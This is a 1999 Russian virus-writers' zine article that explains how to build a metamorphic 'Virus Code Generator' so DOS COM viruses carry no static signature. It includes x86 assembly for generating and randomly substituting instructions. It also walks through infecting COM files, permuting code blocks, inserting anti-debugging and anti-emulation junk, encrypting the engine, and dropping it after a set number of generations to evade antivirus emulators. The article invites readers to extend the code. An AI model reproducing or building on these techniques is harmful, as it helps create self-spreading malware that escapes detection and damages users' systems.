[TulaAnti&ViralClub] PRESENTS ...
MooN_BuG, Issue 10, Apr 1999 file 005
VirusCodeGenerator и примеры использования
by RedArc
Все постигается в сравнении... Чтобы объяснить, что такое VCG, проще
сравнить его с теми же Mutation Engine (ME). Так вот, ME генерирует код
дешифровщика (декриптор), шифрует тело вируса (включая и себя) и записывает
вирус в файл так, что при старте инфицированной программы первым получит
управление дешифровщик. Он расшифрует тело вируса в памяти и передаст на тело
вируса управление. Это ключевой момент ME. Весь фокус заключается в том, что
декриптор и алгоритм шифрования генерируются случайным образом так, что два
инфицированных файла могут не совпадать ни на байт, а декриптор будет иметь
довольно случайный алгоритм работы. Более полную информацию о полиморфных
вирусах вы сможете получить из компьютерной энциклопедии вирусов Евгения
Касперского. Надеюсь, не нужно объяснять кто это?! ;-)
Для антивирусов класса AIDSTEST такие вирусы оказываются "не по зубам".
Однако сейчас в моде антивирусы с эмуляторами (символическое исполнение кода),
для которых детектировать и лечить такие вирусы - что два пальца об асфальт.
Ну может быть не два... но все равно. Есть, есть ангины, которые антивирусы не
могут лечить, но все равно, детектируют. А как они это делают? А вот как. Они
символически исполняют код декриптора (эмулируют выполнение команд), после
чего в буфере оказывается расшифрованное статическое тело вируса, которое и
является сигнатурой для детектирования. Как только народ не изголялся - и по
десять ME на вирус одевали - и вставляли в декриптор команды, которые тот или
иной антивирус эмулировать не умеет или эмулирует не правильно - и
переставляли блоки внутри статического тела (пермутизм)... Все равно злобные
антивирусы докапываются до статической сигнатуры и... опаньки.
В вирусных кругах уже давно зрели мысли о том, как избавиться от
статической сигнатуры. Представленная здесь идея не нова, но я пока нигде не
видел ее реализацию... Хотя ReCoder говорит, что есть что-то уже покруче. Ну
да ладно, я все равно не видел, поэтому будем разбираться в том, что я тут
наваял... Значит так, идея заключается в том, чтобы ME генерировал не только
декриптор из случайных команд или вообще его не генерировал, а перегенерации
подвергалось бы само тело вируса. То есть, вирус не будет содержать
статической сигнатуры или величина статического кода будет сведена к
минимуму. Такой ME в дальнейшем будем называть Virus Code Generator (VCG).
Что из себя представляет VCG в простейшем случае? Некоторый набор
подпрограмм, которые позволяют в достаточной мере создавать некоторый
исполняемый код. Я разделил эти подпрограммы на три уровня.
Подпрограммы первого уровня генерируют элементарные команды, ну, к
примеру возьмем подпрограмму генерации кода, который добавляет к 16-битовому
регистру R некоторое 16-битовое число V:
;Input: bl - numreg
; ax - value16
;Output: ax:bx - code
Add_Reg16_Value16_Tabelle:
add bl,0c0h
mov bh,081h
xchg bh,bl
xchg bx,ax
ret
Здесь в 8-битовом регистре BL указывается номер регистра (Таблица 1) и в
16-битовом регистре AX передается число.
Таблица 1
;numreg| 0 1 2 3 4 5 6 7
;regs16| AX CX DX BX SP BP SI DI
Подпрограмма формирует код, который возвращается в регистровой паре
AX:BX. Полученный код сохраняется в буфере другой подпрограммой, а из буфера
уже может быть записан в файл-жертву. Вот пример подпрограмм, сохраняющих код
из регистров AL:BX в буфере. Здесь регистр DI выполняет для буфера аналогичные
функции, что и регистр SP для стека.
_al: ;Сохранение в буфере кода из регистра AL
mov byte ptr ds:[di],al
inc di
ret
_bx: ;Сохранение в буфере кода из регистра BX
mov word ptr ds:[di],bx
add di,2
ret
_al_bx: ;Сохранение кода в буфере из пары AL:BX
call _al
call _bx
ret
Подпрограммы второго уровня генерируют блоки команд первого уровня (будем
так называть код, полученный после работы подпрограмм первого уровня) по
некоторым алгоритмам. Алгоритмы выбираются случайно. Именно количество
алгоритмов на каждый блок и является так сказать "разнообразием" генератора.
Чем больше этих алгоритмов для каждого блока, тем лучше и разнообразнее код,
но тем и больше размер самого генератора. Приведем пример алгоритмов генерации
команды присвоения 16-битовому регистру R1 значения из регистра R2. Сама
команда выглядет так:
mov R1,R2
Алгоритм генерации может быть представлен следующим образом:
AH := RNDvalue (6)
case AH of
0 : mov R1,R2
1 : push R2
xchg R1,R2
pop R2
2 : sub R1,R1
add R1,R2
3 : xor R1,R1
add R1,R2
4 : push R2
pop R1
5 : mov R1,0
add R1,R2
Реализация такого алгоритма выглядет следующим образом:
;Присвоение регистру R1 значения регистра R2
;Input: bl - numreg1
; bh - numreg2
_2_MOV16:
call _2_MOV16_
_2_MOV16_R1 db ?
_2_MOV16_R2 db ?
_2_MOV16_:
pop bp
mov byte ptr ds:[bp],bl
mov byte ptr ds:[bp+1],bh
push bx
mov ah,6
call RND_Tabelle
pop bx
_2_MOV16_0:
cmp ah,0
jne _2_MOV16_1
call Mov_Reg1_Reg_2_16_Tabelle
call _bx
ret
_2_MOV16_1:
cmp ah,1
jne _2_MOV16_2
xchg bh,bl
call Push_Reg16_Tabelle
call _bl
mov bl,byte ptr ds:[bp]
mov bh,byte ptr ds:[bp+1]
push bp
@@0: call _2_XCHG16 ;Вызов подпрограммы второго уровня
pop bp
mov bl,byte ptr ds:[bp+1]
call Pop_Reg16_Tabelle
call _bl
ret
_2_MOV16_2:
cmp ah,2
jne _2_MOV16_3
mov bl,byte ptr ds:[bp]
mov bh,byte ptr ds:[bp]
call Sub_Reg1_Reg_2_16_Tabelle
call _bx
mov bl,byte ptr ds:[bp]
mov bh,byte ptr ds:[bp+1]
call Add_Reg1_Reg_2_16_Tabelle
call _bx
ret
_2_MOV16_3:
cmp ah,3
jne _2_MOV16_4
mov bh,bl
call Xor_Reg1_Reg_2_16_Tabelle
call _bx
mov bl,byte ptr ds:[bp]
mov bh,byte ptr ds:[bp+1]
call Add_Reg1_Reg_2_16_Tabelle
call _bx
ret
_2_MOV16_4:
cmp ah,4
jne _2_MOV16_5
xchg bh,bl
call Push_Reg16_Tabelle
call _bl
mov bl,byte ptr ds:[bp]
call Pop_Reg16_Tabelle
call _bl
ret
_2_MOV16_5:
xor ax,ax
call Mov_Reg16_Value16_Tabelle
call _al_bx
mov bl,byte ptr ds:[bp]
mov bh,byte ptr ds:[bp+1]
call Add_Reg1_Reg_2_16_Tabelle
call _bx
ret
Подпрограммы второго уровня сами следят за тем, чтобы сгенерированные
команды первого уровня записывались в буфер. Также, подпрограммы второго
уровня могут вызывать друг друга, как например представлено командой по метке
@@0. Собственно, команды второго уровня уже являются лицом генератора и могут
быть использованы для генерации примитивного полиморфного кода. Алгоритм
вызова подпрограмм второго уровня будем в дальнейшем называть "формулами". Вот
пример формулы для генерации кода, выводящего текст: Hello World!
lea di,buff
;---
;mov di,100h
mov bl,7
mov ax,100h
call _2_MOV16V16
;mov ax,'eH'
xor bx,bx
mov ax,'eH'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ax,'ll'
xor bx,bx
mov ax,'ll'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ax,' o'
xor bx,bx
mov ax,' o'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ax,'oW'
xor bx,bx
mov ax,'oW'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ax,'lr'
xor bx,bx
mov ax,'lr'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ax,'!d'
xor bx,bx
mov ax,'!d'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ax,' $'
xor bx,bx
mov ax,' $'
call _2_MOV16V16
;stosw
call Stosw_Tabelle
call _bl
;mov ah,9eh
xor bx,bx
mov ax,9e00h
call _2_MOV16V16
;mov dx,100h
mov bl,2
mov ax,100h
call _2_MOV16V16
;int 21h
call _INT21h
;ret
mov bl,0c3h
call _bl
Подпрограммы третьего уровня представляют аналогию подпрограммам второго
уровня, только для генерации своего кода вместо алгоритмов используют набор
формул. То есть, сначала выделяем минимальный блок вируса для помещения его в
отдельную подпрограмму, затем создаем подпрограмму третьего уровня, содержащую
набор формул для генерации этой подпрограммы. Вот пример подпрограммы:
OpenFile:
mov ax,3d02h
int 21h
xchg bx,ax
ret
Из-за большого размера подпрограмм третьего уровня пример опущен.
Зачем нужны подпрограммы третьего уровня? А очень просто. После
разделения вируса на отдельные подпрограммы мы получаем возможность сделать
его пермутирующим. То есть, будем эти подпрограммы записывать в случайном
порядке, а команду ret будем заменять на jmp xxxx. Адреса переходов xxxx будем
сохранять в буфере. Сделать это не очень сложно - мы же при генерации всегда в
нужный момент можем получить смещение нужной команды в буфере из значения
регистра DI. Таким образом, дополнительный код подпрограмм третьего уровня с
лихвой окупается значительным усложнением полиморфик-алгоритма генерации кода.
Как не крути, но полностью от статического кода избавиться не удается.
Дело в том, что сам VCG и информация о том, как и что он должен генерировать -
статическая сигнатура. Для устранения этой несправедливости предлагается на
некотором этапе размножения вируса просто избавиться от статического кода. Как
это делается? Элементарно. Ставим счетчик поколений вируса и по некоторому
критическому значению в очередной раз в жертву будет внедрен только код вируса
без самого VCG и формул. В качестве примера таких вирусов я привел в каталоге
APPENDIX.VCG две зверушки: Belka и Strelka... ;-))))
Рассмотрим общий принцип работы таких вирусов. Инфицированный файл
представляет из себя следующую структуру (здесь и дальше речь идет о
COM-программах):
|Начало программы|
|Переход на EntryPoint вируса|
|Программа|
|Первые блоки вируса|
|EntryPoint вируса|
|Вызов VCG|
|Остальные блоки вируса|
|VCG|
Как понятно из вышеприведенной схемы, вирус может внедрять переход на
свою стартовую точку в пределах первых n-байт жертвы (случайное место на
протяжении блока, где отсутствуют call, jmp, ret, etc). Размер внедрения
(перехода на вирус) - величина не постоянная, код внедрения генерируется
самим VCG.
Точка входа в вирусный код содержит (или не содержит, в зависимости от
того, что было сгенерировано) всякую лабуду по антиотладке, антитрассировке и
антиэвристике. Так сказать, первый эшелон защиты вируса. Здесь же, в
промежутках между защитным кодом, производится стартовая настройка некоторых
регистров.
Затем вызывается VCG, который в буфере генерирует новую копию вируса.
Здесь опять же интересный факт - блоки вируса не имеют постоянной длины, это
вы уже успели заметить. Они же перемешиваются в случайном порядке. Точки входа
в блоки запоминаются опять же в буфере и после окончания генерации всех
блоков, заносятся как адреса перехода. Ну типа:
- первый проход:
@@Block1: ;<- адрес сохраняем в буфере
.........
@@JumpNext1: ;<- в этой метке адрес перехода на
;следующий блок. Сохраняем в буфере
jmp 01234h ;начальное значение
;---
@@Block2: ;<-адрес сохраняем в буфере
......... ;ну и так далее
- второй проход
@@Block1:
.........
@@JumpNext1:
jmp [@@Block2]
;---
@@Block2:
.........
Запоминаем теперь только адрес EntryPoint только что сгенеренного вируса
и возвращаем управление старому вирусу (из которого получили управление).
Теперь вирус производит поиск жертв и их инфицирование. Код, как сами
понимаете, был сгенерирован ранее VCG и представляет из себя блоки команд,
раскиданных в хаотичном порядке по всему телу и имеющие фиг знает какие
размеры. В промежутках между "полезными" блоками, управление получают
"мусорные" блоки, которые мешают трассировке и эмуляции зверька. При
обнаружении еще не инфицированной жертвы, вирус дописывает в ее конец
сгенерированную VCG свою копию из буфера и дописывает VCG. Затем корректирует
адрес EntryPoint, находит блок, куда в жертве можно воткнуть переход на вирус,
сносит этот блок в конец файла жертвы, а VCG генерирует блок перехода меньшей
или равной длины от найденного блока.
Для красоты, VCG при записи шифруется с неким ключем по одному из
нескольких алгоритмов. Декриптор с нужным алгоритмом генерируется самим же VCG
и записывается в точку входа VCG. Сигнатур в явном виде нет. Дальше, вирус
ведет счетчик пораженных копий и при достижении им некоего предельного
значения, происходит вот что: при инфицировании последующих жертв, в файлы
записывается только тушка сгенерированного вируса и устанавливается переход на
начало кода вируса. Сам же VCG не дописывается, собственно как и переход на
VCG и декриптор VCG. То есть, как будто их и небыло никогда. Cам VCG
сигнатурой являться уже не может, так как не все генерируемые им вирусы будут
его носить с собой.
Еще о прелестях жизни. Блоки вируса будут не постоянной структуры, то
есть, VCG может носить с собой несколько "формул" одного и того же вируса и
выбирать блоки из разных "формул" по случайному закону.
Конечно, зверьки будут довольно не хилых размеров, но они же здесь
создаются исключительно в научных целях и предназначен только для журнала, так
что прокатит.
Можно сделать как и в Pkunk: несколько "формул" с разной стратегией
поражения: в начало файлов, в конец файлов, заражение EXE и COM файлов,
резидентность и нерезидентность, ... дальше по вкусу. Но мне это уже не
интересно. Дальнейшее развитие идеи и кода VCG предлагаю проводить вам,
дорогие читатели ;) Здесь ой как много простора для фантазии...